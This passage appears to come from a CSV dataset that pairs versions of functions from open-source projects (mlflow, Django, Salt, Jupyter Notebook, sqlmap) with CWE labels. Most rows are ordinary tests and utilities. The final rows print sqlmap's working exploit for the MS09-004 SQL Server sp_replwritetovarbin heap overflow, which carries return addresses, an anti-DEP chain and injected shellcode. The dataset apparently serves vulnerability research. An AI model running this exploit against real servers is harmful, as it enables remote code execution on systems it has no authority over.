res = pyfunc_model.predict(pdf)
assert res.dtypes.to_dict() == expected_types
# 12. datetime64[D] (date only) -> datetime64[x] works
pdf[""h""] = pdf[""h""].astype(""datetime64[D]"")
res = pyfunc_model.predict(pdf)
assert res.dtypes.to_dict() == expected_types
pdf[""h""] = pdf[""h""].astype(""datetime64[s]"")
# 13. np.ndarrays can be converted to dataframe but have no columns
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf.values)
assert ""Model is missing inputs"" in str(ex)
# 14. dictionaries of str -> list/nparray work
arr = np.array([1, 2, 3])
d = {
""a"": arr.astype(""int32""),
""b"": arr.astype(""int64""),
""c"": arr.astype(""float32""),
""d"": arr.astype(""float64""),
""e"": [True, False, True],
""g"": [""a"", ""b"", ""c""],
""f"": [bytes(0), bytes(1), bytes(1)],
""h"": np.array([""2020-01-01"", ""2020-02-02"", ""2020-03-03""], dtype=np.datetime64),
}
res = pyfunc_model.predict(d)
assert res.dtypes.to_dict() == expected_types
# 15. dictionaries of str -> list[list] fail
d = {
""a"": [arr.astype(""int32"")],
""b"": [arr.astype(""int64"")],
""c"": [arr.astype(""float32"")],
""d"": [arr.astype(""float64"")],
""e"": [[True, False, True]],
""g"": [[""a"", ""b"", ""c""]],
""f"": [[bytes(0), bytes(1), bytes(1)]],
""h"": [np.array([""2020-01-01"", ""2020-02-02"", ""2020-03-03""], dtype=np.datetime64)],
}
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(d)
assert ""Incompatible input types"" in str(ex)
# 16. conversion to dataframe fails
d = {
""a"": [1],
""b"": [1, 2],
""c"": [1, 2, 3],
}
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(d)
assert ""This model contains a column-based signature, which suggests a DataFrame input."" in str(
ex
)",CWE-703,mlflow/mlflow,3b49b28af0660a21340835b1031b6f48ae55e261,"def test_column_schema_enforcement():
m = Model()
input_schema = Schema(
[
ColSpec(""integer"", ""a""),
ColSpec(""long"", ""b""),
ColSpec(""float"", ""c""),
ColSpec(""double"", ""d""),
ColSpec(""boolean"", ""e""),
ColSpec(""string"", ""g""),
ColSpec(""binary"", ""f""),
]
)
m.signature = ModelSignature(inputs=input_schema)
pyfunc_model = PyFuncModel(model_meta=m, model_impl=TestModel())
pdf = pd.DataFrame(
data=[[1, 2, 3, 4, True, ""x"", bytes([1])]],
columns=[""b"", ""d"", ""a"", ""c"", ""e"", ""g"", ""f""],
dtype=np.object,
)
pdf[""a""] = pdf[""a""].astype(np.int32)
pdf[""b""] = pdf[""b""].astype(np.int64)
pdf[""c""] = pdf[""c""].astype(np.float32)
pdf[""d""] = pdf[""d""].astype(np.float64)
# test that missing column raises
with pytest.raises(MlflowException) as ex:
res = pyfunc_model.predict(pdf[[""b"", ""d"", ""a"", ""e"", ""g"", ""f""]])
assert ""Model is missing inputs"" in str(ex)
# test that extra column is ignored
pdf[""x""] = 1
# test that columns are reordered, extra column is ignored
res = pyfunc_model.predict(pdf)
assert all((res == pdf[input_schema.input_names()]).all())
expected_types = dict(zip(input_schema.input_names(), input_schema.pandas_types()))
actual_types = res.dtypes.to_dict()
assert expected_types == actual_types
# Test conversions
# 1. long -> integer raises
pdf[""a""] = pdf[""a""].astype(np.int64)
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf)
assert ""Incompatible input types"" in str(ex)
pdf[""a""] = pdf[""a""].astype(np.int32)
# 2. integer -> long works
pdf[""b""] = pdf[""b""].astype(np.int32)
res = pyfunc_model.predict(pdf)
assert all((res == pdf[input_schema.input_names()]).all())
assert res.dtypes.to_dict() == expected_types
pdf[""b""] = pdf[""b""].astype(np.int64)
# 3. unsigned int -> long works
pdf[""b""] = pdf[""b""].astype(np.uint32)
res = pyfunc_model.predict(pdf)
assert all((res == pdf[input_schema.input_names()]).all())
assert res.dtypes.to_dict() == expected_types
pdf[""b""] = pdf[""b""].astype(np.int64)
# 4. unsigned int -> int raises
pdf[""a""] = pdf[""a""].astype(np.uint32)
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf)
assert ""Incompatible input types"" in str(ex)
pdf[""a""] = pdf[""a""].astype(np.int32)
# 5. double -> float raises
pdf[""c""] = pdf[""c""].astype(np.float64)
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf)
assert ""Incompatible input types"" in str(ex)
pdf[""c""] = pdf[""c""].astype(np.float32)
# 6. float -> double works, double -> float does not
pdf[""d""] = pdf[""d""].astype(np.float32)
res = pyfunc_model.predict(pdf)
assert res.dtypes.to_dict() == expected_types
assert ""Incompatible input types"" in str(ex)
pdf[""d""] = pdf[""d""].astype(np.float64)
pdf[""c""] = pdf[""c""].astype(np.float64)
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf)
assert ""Incompatible input types"" in str(ex)
pdf[""c""] = pdf[""c""].astype(np.float32)
# 7. int -> float raises
pdf[""c""] = pdf[""c""].astype(np.int32)
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf)
assert ""Incompatible input types"" in str(ex)
pdf[""c""] = pdf[""c""].astype(np.float32)
# 8. int -> double works
pdf[""d""] = pdf[""d""].astype(np.int32)
pyfunc_model.predict(pdf)
assert all((res == pdf[input_schema.input_names()]).all())
assert res.dtypes.to_dict() == expected_types
# 9. long -> double raises
pdf[""d""] = pdf[""d""].astype(np.int64)
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf)
assert ""Incompatible input types"" in str(ex)
pdf[""d""] = pdf[""d""].astype(np.float64)
# 10. any float -> any int raises
pdf[""a""] = pdf[""a""].astype(np.float32)
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf)
assert ""Incompatible input types"" in str(ex)
# 10. any float -> any int raises
pdf[""a""] = pdf[""a""].astype(np.float64)
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf)
assert ""Incompatible input types"" in str(ex)
pdf[""a""] = pdf[""a""].astype(np.int32)
pdf[""b""] = pdf[""b""].astype(np.float64)
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf)
assert ""Incompatible input types"" in str(ex)
pdf[""b""] = pdf[""b""].astype(np.int64)
pdf[""b""] = pdf[""b""].astype(np.float64)
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf)
pdf[""b""] = pdf[""b""].astype(np.int64)
assert ""Incompatible input types"" in str(ex)
# 11. objects work
pdf[""b""] = pdf[""b""].astype(np.object)
pdf[""d""] = pdf[""d""].astype(np.object)
pdf[""e""] = pdf[""e""].astype(np.object)
pdf[""f""] = pdf[""f""].astype(np.object)
pdf[""g""] = pdf[""g""].astype(np.object)
res = pyfunc_model.predict(pdf)
assert res.dtypes.to_dict() == expected_types
# 8. np.ndarrays can be converted to dataframe but have no columns
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf.values)
assert ""Model is missing inputs"" in str(ex)
# 9. dictionaries of str -> list/nparray work
arr = np.array([1, 2, 3])
d = {
""a"": arr.astype(""int32""),
""b"": arr.astype(""int64""),
""c"": arr.astype(""float32""),
""d"": arr.astype(""float64""),
""e"": [True, False, True],
""g"": [""a"", ""b"", ""c""],
""f"": [bytes(0), bytes(1), bytes(1)],
}
res = pyfunc_model.predict(d)
assert res.dtypes.to_dict() == expected_types
# 10. dictionaries of str -> list[list] fail
d = {
""a"": [arr.astype(""int32"")],
""b"": [arr.astype(""int64"")],
""c"": [arr.astype(""float32"")],
""d"": [arr.astype(""float64"")],
""e"": [[True, False, True]],
""g"": [[""a"", ""b"", ""c""]],
""f"": [[bytes(0), bytes(1), bytes(1)]],
}
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(d)
assert ""Incompatible input types"" in str(ex)
# 11. conversion to dataframe fails
d = {
""a"": [1],
""b"": [1, 2],
""c"": [1, 2, 3],
}
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(d)
assert ""This model contains a column-based signature, which suggests a DataFrame input."" in str(
ex
)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/multiple_database/tests.py,0,"def test_generic_key_cross_database_protection(self):
""Operations that involve sharing generic key objects across databases raise an error""
# Create a book and author on the default database
pro = Book.objects.create(title=""Pro Django"", published=datetime.date(2008, 12, 16))
review1 = Review.objects.create(source=""Python Monthly"", content_object=pro)
# Create a book and author on the other database
dive = Book.objects.using('other').create(title=""Dive into Python"", published=datetime.date(2009, 5, 4))
Review.objects.using('other').create(source=""Python Weekly"", content_object=dive)
# Set a foreign key with an object from a different database
msg = (
'Cannot assign """": the '
'current database router prevents this relation.'
)
with self.assertRaisesMessage(ValueError, msg):
review1.content_object = dive
# Add to a foreign key set with an object from a different database
msg = (
"" instance isn't saved. ""
""Use bulk=False or save the object first.""
)
with self.assertRaisesMessage(ValueError, msg):
with transaction.atomic(using='other'):
dive.reviews.add(review1)
# BUT! if you assign a FK object when the base object hasn't
# been saved yet, you implicitly assign the database for the
# base object.
review3 = Review(source=""Python Daily"")
# initially, no db assigned
self.assertIsNone(review3._state.db)
# Dive comes from 'other', so review3 is set to use 'other'...
review3.content_object = dive
self.assertEqual(review3._state.db, 'other')
# ... but it isn't saved yet
self.assertEqual(
list(Review.objects.using('default').filter(object_id=pro.pk).values_list('source', flat=True)),
['Python Monthly']
)
self.assertEqual(
list(Review.objects.using('other').filter(object_id=dive.pk).values_list('source', flat=True)),
['Python Weekly']
)
# When saved, John goes to 'other'
review3.save()
self.assertEqual(
list(Review.objects.using('default').filter(object_id=pro.pk).values_list('source', flat=True)),
['Python Monthly']
)
self.assertEqual(
list(Review.objects.using('other').filter(object_id=dive.pk).values_list('source', flat=True)),
['Python Daily', 'Python Weekly']
)",CWE-Unknown,django/django,48c17807a99f7a4341c74db19e16a37b010827c2,"def test_generic_key_cross_database_protection(self):
""Operations that involve sharing generic key objects across databases raise an error""
# Create a book and author on the default database
pro = Book.objects.create(title=""Pro Django"", published=datetime.date(2008, 12, 16))
review1 = Review.objects.create(source=""Python Monthly"", content_object=pro)
# Create a book and author on the other database
dive = Book.objects.using('other').create(title=""Dive into Python"", published=datetime.date(2009, 5, 4))
Review.objects.using('other').create(source=""Python Weekly"", content_object=dive)
# Set a foreign key with an object from a different database
msg = (
'Cannot assign """": the current database router '
'prevents this relation.'
)
with self.assertRaisesMessage(ValueError, msg):
review1.content_object = dive
# Add to a foreign key set with an object from a different database
msg = (
"" instance isn't saved. ""
""Use bulk=False or save the object first.""
)
with self.assertRaisesMessage(ValueError, msg):
with transaction.atomic(using='other'):
dive.reviews.add(review1)
# BUT! if you assign a FK object when the base object hasn't
# been saved yet, you implicitly assign the database for the
# base object.
review3 = Review(source=""Python Daily"")
# initially, no db assigned
self.assertIsNone(review3._state.db)
# Dive comes from 'other', so review3 is set to use 'other'...
review3.content_object = dive
self.assertEqual(review3._state.db, 'other')
# ... but it isn't saved yet
self.assertEqual(
list(Review.objects.using('default').filter(object_id=pro.pk).values_list('source', flat=True)),
['Python Monthly']
)
self.assertEqual(
list(Review.objects.using('other').filter(object_id=dive.pk).values_list('source', flat=True)),
['Python Weekly']
)
# When saved, John goes to 'other'
review3.save()
self.assertEqual(
list(Review.objects.using('default').filter(object_id=pro.pk).values_list('source', flat=True)),
['Python Monthly']
)
self.assertEqual(
list(Review.objects.using('other').filter(object_id=dive.pk).values_list('source', flat=True)),
['Python Daily', 'Python Weekly']
)"
,UNKNOWN,UNKNOWN,salt/serializers/yamlex.py,1,"def deserialize(stream_or_string, **options):
'''
Deserialize any string of stream like object into a Python data structure.
:param stream_or_string: stream or string to deserialize.
:param options: options given to lower yaml module.
'''
options.setdefault('Loader', Loader)
try:
return yaml.load(stream_or_string, **options)
except ScannerError as error:
log.exception('Error encountered while deserializing')
err_type = ERROR_MAP.get(error.problem, 'Unknown yaml render error')
line_num = error.problem_mark.line + 1
raise DeserializationError(err_type,
line_num,
error.problem_mark.buffer)
except ConstructorError as error:
log.exception('Error encountered while deserializing')
raise DeserializationError(error)
except Exception as error:
log.exception('Error encountered while deserializing')
raise DeserializationError(error)",CWE-20,saltstack/salt,bbff277d388ff11b43f610e5c473e91d6d286f83,"def deserialize(stream_or_string, **options):
'''
Deserialize any string of stream like object into a Python data structure.
:param stream_or_string: stream or string to deserialize.
:param options: options given to lower yaml module.
'''
options.setdefault('Loader', Loader)
try:
return yaml.load(stream_or_string, **options)
except ScannerError as error:
err_type = ERROR_MAP.get(error.problem, 'Unknown yaml render error')
line_num = error.problem_mark.line + 1
raise DeserializationError(err_type,
line_num,
error.problem_mark.buffer)
except ConstructorError as error:
raise DeserializationError(error)
except Exception as error:
raise DeserializationError(error)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/kernels/tests/test_kernels_api.py,0,"def test_default_kernel(self):
# POST request
r = self.kern_api._req('POST', '')
kern1 = r.json()
self.assertEqual(r.headers['location'], url_path_join(self.url_prefix, 'api/kernels', kern1['id']))
self.assertEqual(r.status_code, 201)
self.assertIsInstance(kern1, dict)
report_uri = url_path_join(self.url_prefix, 'api/security/csp-report')
expected_csp = '; '.join([
""frame-ancestors 'self'"",
'report-uri ' + report_uri,
""default-src 'none'""
])
self.assertEqual(r.headers['Content-Security-Policy'], expected_csp)",,jupyter/notebook,8de725a8de84580591ce690e94fc971410e087e8,"def test_default_kernel(self):
# POST request
r = self.kern_api._req('POST', '')
kern1 = r.json()
self.assertEqual(r.headers['location'], '/api/kernels/' + kern1['id'])
self.assertEqual(r.status_code, 201)
self.assertIsInstance(kern1, dict)
self.assertEqual(r.headers['Content-Security-Policy'], (
""frame-ancestors 'self'; ""
""report-uri /api/security/csp-report; ""
""default-src 'none'""
))"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/contents/fileio.py,0,"def atomic_writing(path, text=True, encoding='utf-8', **kwargs):
""""""Context manager to write to a file only if the entire write is successful.
This works by copying the previous file contents to a temporary file in the
same directory, and renaming that file back to the target if the context
exits with an error. If the context is successful, the new data is synced to
disk and the temporary file is removed.
Parameters
----------
path : str
The target file to write to.
text : bool, optional
Whether to open the file in text mode (i.e. to write unicode). Default is
True.
encoding : str, optional
The encoding to use for files opened in text mode. Default is UTF-8.
**kwargs
Passed to :func:`io.open`.
""""""
# realpath doesn't work on Windows: http://bugs.python.org/issue9949
# Luckily, we only need to resolve the file itself being a symlink, not
# any of its directories, so this will suffice:
if os.path.islink(path):
path = os.path.join(os.path.dirname(path), os.readlink(path))
dirname, basename = os.path.split(path)
# The .~ prefix will make Dropbox ignore the temporary file.
tmp_path = os.path.join(dirname, '.~'+basename)
if os.path.isfile(path):
shutil.copy2(path, tmp_path)
if text:
# Make sure that text files have Unix linefeeds by default
kwargs.setdefault('newline', '\n')
fileobj = io.open(path, 'w', encoding=encoding, **kwargs)
else:
fileobj = io.open(path, 'wb', **kwargs)
try:
yield fileobj
except:
# Failed! Move the backup file back to the real path to avoid corruption
fileobj.close()
if os.name == 'nt' and os.path.exists(path):
# Rename over existing file doesn't work on Windows
os.remove(path)
os.rename(tmp_path, path)
raise
# Flush to disk
fileobj.flush()
os.fsync(fileobj.fileno())
fileobj.close()
# Written successfully, now remove the backup copy
if os.path.isfile(tmp_path):
os.remove(tmp_path)",,jupyter/notebook,83367684e10895e1e645f646529c4d1a6dfb8cd4,"def atomic_writing(path, text=True, encoding='utf-8', **kwargs):
""""""Context manager to write to a file only if the entire write is successful.
This works by copying the previous file contents to a temporary file in the
same directory, and renaming that file back to the target if the context
exits with an error. If the context is successful, the new data is synced to
disk and the temporary file is removed.
Parameters
----------
path : str
The target file to write to.
text : bool, optional
Whether to open the file in text mode (i.e. to write unicode). Default is
True.
encoding : str, optional
The encoding to use for files opened in text mode. Default is UTF-8.
**kwargs
Passed to :func:`io.open`.
""""""
# realpath doesn't work on Windows: http://bugs.python.org/issue9949
# Luckily, we only need to resolve the file itself being a symlink, not
# any of its directories, so this will suffice:
if os.path.islink(path):
path = os.path.join(os.path.dirname(path), os.readlink(path))
dirname, basename = os.path.split(path)
# The .~ prefix will make Dropbox ignore the temporary file.
tmp_path = os.path.join(dirname, '.~'+basename)
if os.path.isfile(path):
shutil.copy2(path, tmp_path)
if text:
fileobj = io.open(path, 'w', encoding=encoding, **kwargs)
else:
fileobj = io.open(path, 'wb', **kwargs)
try:
yield fileobj
except:
# Failed! Move the backup file back to the real path to avoid corruption
fileobj.close()
if os.name == 'nt' and os.path.exists(path):
# Rename over existing file doesn't work on Windows
os.remove(path)
os.rename(tmp_path, path)
raise
# Flush to disk
fileobj.flush()
os.fsync(fileobj.fileno())
fileobj.close()
# Written successfully, now remove the backup copy
if os.path.isfile(tmp_path):
os.remove(tmp_path)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/mssqlserver/takeover.py,0,"def spHeapOverflow(self):
""""""
References:
* http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
* http://support.microsoft.com/kb/959420
""""""
returns = {
# 2003 Service Pack 0
""2003-0"": (""""),
# 2003 Service Pack 1
""2003-1"": (""CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)"", ""CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)"", ""CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)"", ""CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)"", ""CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"", ""CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"" ),
# 2003 Service Pack 2 updated at 12/2008
#""2003-2"": (""CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)"", ""CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)"", ""CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)"", ""CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)"", ""CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)"", ""CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)"" ),
# 2003 Service Pack 2 updated at 05/2009
""2003-2"": (""CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)"", ""CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)"", ""CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)"", ""CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)"", ""CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"", ""CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)""),
# 2003 Service Pack 2 updated at 09/2009
#""2003-2"": (""CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)"", ""CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)"", ""CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)"", ""CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)"", ""CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"", ""CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)""),
}
addrs = None
for versionSp, data in returns.items():
version, sp = versionSp.split(""-"")
sp = int(sp)
if Backend.getOsVersion() == version and Backend.getOsServicePack() == sp:
addrs = data
break
if not addrs:
errMsg = ""sqlmap can not exploit the stored procedure buffer ""
errMsg += ""overflow because it does not have a valid return ""
errMsg += ""code for the underlying operating system (Windows ""
errMsg += ""%s Service Pack %d)"" % (Backend.getOsVersion(), Backend.getOsServicePack())
raise SqlmapUnsupportedFeatureException(errMsg)
shellcodeChar = """"
hexStr = binascii.hexlify(self.shellcodeString[:-1])
for hexPair in xrange(0, len(hexStr), 2):
shellcodeChar += ""CHAR(0x%s)+"" % hexStr[hexPair:hexPair + 2]
shellcodeChar = shellcodeChar[:-1]
self.spExploit = """"""DECLARE @buf NVARCHAR(4000),
@val NVARCHAR(4),
@counter INT
SET @buf = '
DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
SET @val = CHAR(0x41)
SET @counter = 0
WHILE @counter < 3320
BEGIN
SET @counter = @counter + 1
IF @counter = 411
BEGIN
/* pointer to call [ecx+8] */
SET @buf = @buf + %s
/* push ebp, pop esp, ret 4 */
SET @buf = @buf + %s
/* push ecx, pop esp, pop ebp, retn 8 */
SET @buf = @buf + %s
/* Garbage */
SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)
/* retn 1c */
SET @buf = @buf + %s
/* retn 1c */
SET @buf = @buf + %s
/* anti DEP */
SET @buf = @buf + %s
/* jmp esp */
SET @buf = @buf + %s
/* jmp esp */
SET @buf = @buf + %s
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)
/* Metasploit shellcode */
SET @buf = @buf + %s
SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
SET @counter = @counter + 302
SET @val = CHAR(0x43)
CONTINUE
END
SET @buf = @buf + @val
END
SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
EXEC master..sp_executesql @buf
"""""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)
self.spExploit = self.spExploit.replace("" "", """").replace(""\n"", "" "")
logger.info(""triggering the buffer overflow vulnerability, please wait.."")
inject.goStacked(self.spExploit, silent=True)",,sqlmapproject/sqlmap,5d068896a95fa61d1bfbb4263a10701764d45091,"def spHeapOverflow(self):
""""""
References:
* http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
* http://support.microsoft.com/kb/959420
""""""
returns = {
# 2003 Service Pack 0
""2003-0"": (""""),
# 2003 Service Pack 1
""2003-1"": (""CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)"", ""CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)"", ""CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)"", ""CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)"", ""CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"", ""CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"" ),
# 2003 Service Pack 2 updated at 12/2008
#""2003-2"": (""CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)"", ""CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)"", ""CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)"", ""CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)"", ""CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)"", ""CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)"" ),
# 2003 Service Pack 2 updated at 05/2009
""2003-2"": (""CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)"", ""CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)"", ""CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)"", ""CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)"", ""CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"", ""CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)""),
# 2003 Service Pack 2 updated at 09/2009
#""2003-2"": (""CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)"", ""CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)"", ""CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)"", ""CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)"", ""CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)"", ""CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"", ""CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)""),
}
addrs = None
for versionSp, data in returns.items():
version, sp = versionSp.split(""-"")
sp = int(sp)
if Backend.getOsVersion() == version and Backend.getOsServicePack() == sp:
addrs = data
break
if addrs is None:
errMsg = ""sqlmap can not exploit the stored procedure buffer ""
errMsg += ""overflow because it does not have a valid return ""
errMsg += ""code for the underlying operating system (Windows ""
errMsg += ""%s Service Pack %d)"" % (Backend.getOsVersion(), Backend.getOsServicePack())
raise SqlmapUnsupportedFeatureException(errMsg)
shellcodeChar = """"
hexStr = binascii.hexlify(self.shellcodeString[:-1])
for hexPair in xrange(0, len(hexStr), 2):
shellcodeChar += ""CHAR(0x%s)+"" % hexStr[hexPair:hexPair + 2]
shellcodeChar = shellcodeChar[:-1]
self.spExploit = """"""DECLARE @buf NVARCHAR(4000),
@val NVARCHAR(4),
@counter INT
SET @buf = '
DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
SET @val = CHAR(0x41)
SET @counter = 0
WHILE @counter < 3320
BEGIN
SET @counter = @counter + 1
IF @counter = 411
BEGIN
/* pointer to call [ecx+8] */
SET @buf = @buf + %s
/* push ebp, pop esp, ret 4 */
SET @buf = @buf + %s
/* push ecx, pop esp, pop ebp, retn 8 */
SET @buf = @buf + %s
/* Garbage */
SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)
/* retn 1c */
SET @buf = @buf + %s
/* retn 1c */
SET @buf = @buf + %s
/* anti DEP */
SET @buf = @buf + %s
/* jmp esp */
SET @buf = @buf + %s
/* jmp esp */
SET @buf = @buf + %s
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)
/* Metasploit shellcode */
SET @buf = @buf + %s
SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
SET @counter = @counter + 302
SET @val = CHAR(0x43)
CONTINUE
END
SET @buf = @buf + @val
END
SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
EXEC master..sp_executesql @buf
